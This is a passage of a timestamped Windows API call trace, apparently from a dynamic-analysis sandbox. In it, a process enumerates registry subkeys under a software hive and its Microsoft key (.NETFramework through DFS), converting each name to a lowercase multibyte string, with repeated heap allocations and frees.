cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xffc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0xffb930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xffc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0xffb930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xffc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.724] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0253.724] RegCloseKey (hKey=0xc4) returned 0x0 [0253.724] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0xffb930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xffc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.724] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0xffb930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xffc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.724] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0xffb930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.724] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0xffb930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0253.724] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xffc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.725] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0xffb930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.725] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0xffb930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xffc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.725] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0xffb930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xffc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.725] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0xffb930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.725] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xffc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.726] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0xffb930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xffc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.726] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0xffb930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xffc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.726] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0xffb930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xffc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.726] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0xffb930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.726] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xffc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.727] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0xffb930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.727] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0xffb930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xffc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.727] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0xffb930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xffc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.727] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0xffb930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0253.727] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xffc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.728] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0xffb930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xffc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.728] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0xffb930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xffc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 